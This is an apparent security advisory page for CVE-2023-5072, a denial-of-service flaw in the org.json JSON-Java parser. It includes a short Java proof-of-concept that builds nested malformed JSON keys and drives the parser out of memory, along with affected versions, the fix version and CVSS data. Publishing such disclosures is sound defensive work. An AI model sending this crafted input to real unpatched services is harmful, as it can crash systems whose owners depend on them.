High

Java: DoS Vulnerability in JSON-JAVA

Disclosed: 14.11.2023
Updated: 11.10.2026 13:20

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept

java

package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{\"a\":1}";
    }
    return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %s\n", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
  }
}

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
Java / Kotlin (Maven)	org.json:json	< 20231013	20231013

References

CVSS score 7.5/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-358
Platform: Java / Kotlin (Maven)
Package: org.json:json
Disclosed: 14.11.2023
Updated: 11.10.2026 13:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-4jq9-2xhw-jpx7 - CC BY 4.0

Vulnerability history: org.json:json

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 12.2022 11.2023
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 2

Disclosures per year

2022: 1
2023: 1
2024: 0
2025: 0
2026: 0

14.11.2023

Java: DoS Vulnerability in JSON-JAVA this entry

High · 7.5 CVE-2023-5072 < 20231013 20231013
13.12.2022

json stack overflow vulnerability

High · 7.5 CVE-2022-45688 < 20230227 20230227

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